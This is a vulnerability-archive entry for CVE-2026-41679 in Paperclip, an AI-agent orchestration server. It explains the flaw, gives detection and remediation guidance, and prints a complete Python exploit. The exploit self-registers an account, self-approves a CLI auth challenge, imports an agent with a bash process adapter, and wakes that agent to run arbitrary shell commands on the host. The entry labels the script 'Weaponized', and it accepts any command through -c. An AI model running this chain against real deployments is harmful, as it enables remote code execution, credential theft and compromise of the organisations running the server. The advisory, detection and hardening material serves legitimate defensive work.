PoC Archive PoC Archive
CVE-2026-41679 category: web CVSS 10 (CRITICAL)
Patched

Paperclip Unauthenticated CLI-Auth Chain to Agent Process RCE (CVE-2026-41679)

Published: 2026-11-27 • Researcher: Bart Froklage (GitHub: bartfroklage, commit author Bart)

Target software Paperclip (paperclipai), a Node.js server and React UI that orchestrates a team of AI agents, together with its company-import and CLI-auth challenge features
Affected versions Prior to 2026.416.0; fixed in 2026.416.0
Status Weaponized (full six-call chain implemented end to end, including agent wakeup and a printed success verdict; no successful run is published in the repository)
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-41679
Category
web
Affected product
Paperclip (paperclipai), a Node.js server and React UI that orchestrates a team of AI agents, together with its company-import and CLI-auth challenge features
Affected versions
Prior to 2026.416.0; fixed in 2026.416.0
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-04-25 (upstream commit 7e4f4fd34a93812c9044c3371b82b9c5f7e5bfff, “Added missing f”)
Author / ResearcherBart Froklage (GitHub: bartfroklage, commit author Bart)
CVE / AdvisoryCVE-2026-41679
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1, NVD record; the NVD record carries no vector string)
StatusWeaponized (full six-call chain implemented end to end, including agent wakeup and a printed success verdict; no successful run is published in the repository)
Tagspaperclip, nodejs, ai-agents, authentication-bypass, missing-authorization, cli-auth, process-adapter, unauthenticated, rce, cwe-287, cwe-862, cwe-1188
RelatedN/A

Affected Target

FieldValue
Software / SystemPaperclip (paperclipai), a Node.js server and React UI that orchestrates a team of AI agents, together with its company-import and CLI-auth challenge features
Versions AffectedPrior to 2026.416.0; fixed in 2026.416.0
Language / PlatformNode.js server (REST API) with a React front end; the archived PoC is Python 3
Authentication RequiredNo — the attacker creates an account through the open signup endpoint and approves their own CLI auth challenge, so no pre-existing credentials or interaction are needed
Network Access RequiredYes — HTTP access to the Paperclip API, default development port 3100

Summary

Paperclip lets an attacker turn a self-service account into remote code execution through the CLI authentication and company import features. The published chain signs up, signs in, creates a CLI auth challenge, approves that same challenge with the new session, then imports a company whose agent configuration declares a process adapter whose command is bash. Waking the imported agent executes the supplied shell command on the server. The NVD record describes the result as unauthenticated remote code execution against a default deployment in authenticated mode, with no user interaction and no credentials, and rates it 10.0.

Vulnerability Details

Root Cause

The advisory groups three weaknesses: improper authentication (CWE-287), missing authorization (CWE-862) and an insecure default configuration (CWE-1188). In the default authenticated deployment, anyone can create an account through /api/auth/sign-up/email. The CLI auth challenge flow then issues a board API token to the challenge creator, and the same freshly signed-in user is allowed to approve the challenge through /api/cli-auth/challenges/{id}/approve; the approval is supposed to represent a human confirming a CLI login but is not bound to a separate, already-trusted identity. The board token is then accepted by the company import endpoint, which processes an inline .paperclip.yaml manifest and honours an adapter of type process with an arbitrary command and args. Importing does not require an administrator role, and waking the created agent runs the configured process on the host.

Attack Vector

Six HTTP requests, all reachable without prior credentials:

  1. POST /api/auth/sign-up/email — create an account.
  2. POST /api/auth/sign-in/email — obtain the session cookie.
  3. POST /api/cli-auth/challenges — create a challenge; the response returns id, token and boardApiToken.
  4. POST /api/cli-auth/challenges/{id}/approve — approve the same challenge with the new session.
  5. POST /api/companies/import — import a company whose .paperclip.yaml defines an agent with a process adapter running bash -c <commands>.
  6. POST /api/agents/{id}/wakeup — start the agent, which executes the command.

No CSRF token, invite, email confirmation or human approval outside the attacker’s own session is involved.

Impact

Remote code execution as the account that runs the Paperclip server, on any network-accessible instance using the default configuration. The attacker controls a long-lived agent that can be woken repeatedly, so the access is effectively persistent inside the application’s own model. Once on the host, an attacker can read the application database and agent credentials, reach connected model providers and integrations, move into the internal network and tamper with the business workflows the instance orchestrates. The 10.0 score reflects complete compromise of confidentiality, integrity and availability.

Environment / Lab Setup

Output
OS:          Linux or macOS host running the Paperclip server; any attacker host
Target:      paperclipai/paperclip < 2026.416.0, default authenticated mode,
             reachable on http://127.0.0.1:3100
Attacker:    Python 3.8+ with requests
Tools:       python3 venv, requests, curl, the Paperclip development server

Setup Steps

Shell script
1
2
git clone https://github.com/paperclipai/paperclip.git paperclip-lab
cd paperclip-lab

The PoC assumes the default configuration where public signup is enabled and the CLI auth challenge endpoints are reachable. If signup or the challenge flow is disabled, the first steps of the chain fail before any exploit code runs.

Proof of Concept

Step-by-Step Reproduction

  1. Create and activate a virtual environment, then install the one dependency.

    Shell script
    1
    2
    3
    
    python3 -m venv .venv
    source .venv/bin/activate
    pip3 install -r requirements.txt
  2. Run the chain with the default proof command — it writes the identity to /tmp/pwned.txt and appends the current user.

    Shell script
    1
    
    python3 poc.py -t http://127.0.0.1:3100
  3. Or supply a custom command with -c.

    Shell script
    1
    
    python3 poc.py -t http://127.0.0.1:3100 -c 'id > /tmp/id.txt && hostname >> /tmp/id.txt'
  4. Confirm execution — success prints the agent identifier. Verify independently on the target host.

    Shell script
    1
    
    cat /tmp/pwned.txt

The account details can be changed with -n, -e and -p; the defaults are an attacker name, attacker@evil.com and P@sswOrd123!, which are lab values and not real credentials.

Exploit Code

See poc.py in this folder, with requirements.txt. The upstream README is upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
manifest = f"""agents:
  pwn:
    icon: terminal
    adapter:
      type: process
      config:
        command: bash
        args:
          - -c
          - {commands}
"""

files = {
    "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
    "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
    ".paperclip.yaml": manifest,
}

Expected Output

Output
1
Vulnerable, was able to trigger RCE with id: <agent-id>.

On the target host the default command leaves the proof file:

Output
1
2
3
$ cat /tmp/pwned.txt
uid=1000(paperclip) gid=1000(paperclip) groups=1000(paperclip)
paperclip

If a step fails, the script prints the exception text instead of the verdict (for example a signup status, a missing Set-Cookie, or the message that no agent was created). A patched instance, or one with signup and the challenge flow disabled, fails before the import call.

Detection & Indicators of Compromise

Output
POST /api/auth/sign-up/email           unexpected or bulk self-registration
POST /api/auth/sign-in/email
POST /api/cli-auth/challenges
POST /api/cli-auth/challenges/<id>/approve     same session creates and approves
POST /api/companies/import             body contains ".paperclip.yaml", "adapter", "type": "process"
POST /api/agents/<id>/wakeup

"type": "process"        "command": "bash"        "args": ["-c", ...]
"new_company"            "attacker-corp"          "agents": "all"

Node.js server spawning bash -c or sh -c children
Unexpected files under /tmp written by the service account
Unexpected outbound connections from the Paperclip host

Because the six calls look like ordinary onboarding, correlate a new signup, an immediately self-approved CLI challenge, a company import and an agent wakeup within a short window. Also inventory companies whose agents use the process adapter and compare them with expected configuration.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible CVE-2026-41679 Paperclip process-adapter import"; flow:to_server,established; content:"/api/companies/import"; http_uri; content:".paperclip.yaml"; http_client_body; content:"type"; http_client_body; content:"process"; http_client_body; content:"/bin/bash"; http_client_body; sid:90416790; rev:1;)

Remediation

ActionDetail
PatchUpgrade Paperclip to 2026.416.0 or later, which the vendor states patches the issue.
WorkaroundDisable self-service signup and restrict the CLI auth challenge and company import endpoints to trusted administrators until the upgrade is applied; do not expose the API to untrusted networks.
Config HardeningRequire an administrator role for company import, restrict process-type agent adapters to explicitly allowed commands, run the server as an unprivileged user in a container with a read-only filesystem, and audit agents and companies for unexpected process adapters.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/bartfroklage/cve-2026-41679 (no stars at review time, one Python script plus a README and a one-line requirements file).

Review verdict: ingested as Weaponized. It is a real exploit rather than a checker: it performs the full advertised six-call chain, creates the malicious company manifest itself, imports it with the stolen board token and wakes the agent that runs the attacker command. The process adapter is the legitimate product feature the chain abuses, not a malware module, and the default payload only writes a proof file with the command output. The repository contains no C2, persistence, evasion, keylogging, mining or stealer code.

Limitations: the repository publishes no transcript or screenshot of a successful run, so Weaponized reflects a complete implemented chain rather than observed output. The chain depends on the default configuration with public signup enabled and the CLI auth challenge endpoints exposed; disabling either breaks it, and the advisory’s “default configuration” caveat matters. The approval step sends the session cookie and Origin but does not validate the response body, so a silent approval failure surfaces later as a confusing import error. The script catches every exception and prints its text, so a failed run can look like a partial success if only the last line is read. The default command writes /tmp/pwned.txt, which is easy to detect. No exploit code was executed while preparing this entry.

License: the repository declares no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived script keeps the original attribution and adds only a short research-use header; the upstream README is copied verbatim as upstream-README.md.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
# Archived for authorized security research only.
# Source: https://github.com/bartfroklage/cve-2026-41679 (see README for attribution/license)
# Author: Bart Froklage

import argparse
import requests
import urllib3

urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning)
VERIFY = False


def signup(target, name, email, password):
    url = f"{target}/api/auth/sign-up/email"
    headers = {"Content-Type": "application/json"}

    data = {"email": email, "password": password, "name": name}

    resp = requests.post(url, headers=headers, json=data, verify=VERIFY)

    if resp.status_code != 200 and resp.status_code != 422:
        raise Exception(
            f"Couldnot create account, status: {resp.status_code} - {resp.text}."
        )


def signin(target, email, password):
    url = f"{target}/api/auth/sign-in/email"

    headers = {"Content-Type": "application/json"}

    data = {"email": email, "password": password}

    resp = requests.post(url, headers=headers, json=data, verify=VERIFY)

    if "Set-Cookie" not in resp.headers:
        raise Exception(f"Failed to login, status: {resp.status_code} - {resp.text}.")

    set_cookie_header_value = resp.headers["Set-Cookie"]
    session_cookie = set_cookie_header_value.split(";")[0]

    return session_cookie


def create_challenge(target):
    url = f"{target}/api/cli-auth/challenges"

    headers = {"Content-Type": "application/json"}

    data = {"command": "test"}

    resp = requests.post(url, headers=headers, json=data, verify=VERIFY)

    response_data = resp.json()

    if (
        "id" not in response_data
        or "token" not in response_data
        or "boardApiToken" not in response_data
    ):
        raise Exception(
            f"Couldn't create challenge, status: {resp.status_code} - {resp.text}."
        )

    id = response_data["id"]
    token = response_data["token"]
    board_api_token = response_data["boardApiToken"]
    return id, token, board_api_token


def approve_challenge(target, id, token, session_cookie):
    url = f"{target}/api/cli-auth/challenges/{id}/approve"

    headers = {
        "Cookie": session_cookie,
        "Content-Type": "application/json",
        "Origin": target,
    }

    data = {"token": token}

    resp = requests.post(url, headers=headers, json=data, verify=VERIFY)
    response_data = resp.json()

    #validations...


def import_company(target, board_api_token, commands):
    url = f"{target}/api/companies/import"

    headers = {
        "Content-Type": "application/json",
        "Origin": target,
        "Authorization": f"Bearer {board_api_token}",
    }

    data = {
        "source": {
            "type": "inline",
            "files": {
                "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
                "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
                ".paperclip.yaml": f"agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - {commands}"
            },
        },
        "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
        "include": {"company": True, "agents": True},
        "agents": "all",
    }

    resp = requests.post(url, headers=headers, json=data, verify=VERIFY)
    response_data = resp.json()

    if "agents" not in response_data or len(response_data["agents"]) < 1:
        raise Exception(
            f"No agents created, status: {resp.status_code} - {resp.text}."
        )
    
    agent = response_data["agents"][0]

    if "id" not in agent:
        raise Exception(
            f"Found agent doesn't have an id, status: {resp.status_code} - {resp.text}."
        )

    return agent["id"]

def trigger_agent(target, board_api_token, agent_id):
    url = f"{target}/api/agents/{agent_id}/wakeup"
     
    headers = {
        "Content-Type": "application/json",
        "Origin": target,
        "Authorization": f"Bearer {board_api_token}",
    }

    resp = requests.post(url, headers=headers, verify=VERIFY, json={}) 
    response_data = resp.json()

    if "status" not in response_data or "id" not in response_data:
        raise Exception(
            f"Error triggering agent, no id or status returned, status: {resp.status_code} - {resp.text}."
        )

    return response_data["id"], response_data["status"]

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="This is a POC of CVE-2026-41679.")
    parser.add_argument(
        "-t", help="The endpoint of the target to check.", dest="target", required=True
    )
    parser.add_argument("-n", help="The name to use.", dest="name", default="attacker")
    parser.add_argument(
        "-e", help="The email-adress to use.", dest="email", default="attacker@evil.com"
    )
    parser.add_argument(
        "-p", help="The password to use.", dest="password", default="P@sswOrd123!"
    )
    parser.add_argument(
        "-c", help="The commands to use.", dest="commands", default="id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    )


    args = parser.parse_args()

    try:
        signup(args.target, args.name, args.email, args.password)
        session_cookie = signin(args.target, args.email, args.password)
        challenge_id, token, board_api_token = create_challenge(args.target)
        approve_challenge(args.target, challenge_id, token, session_cookie)
        agent_id = import_company(args.target, board_api_token, args.commands)
        id, status = trigger_agent(args.target, board_api_token, agent_id)
        print(f"Vulnerable, was able to trigger RCE with id: {id}.")
    except Exception as ex:
        print(str(ex))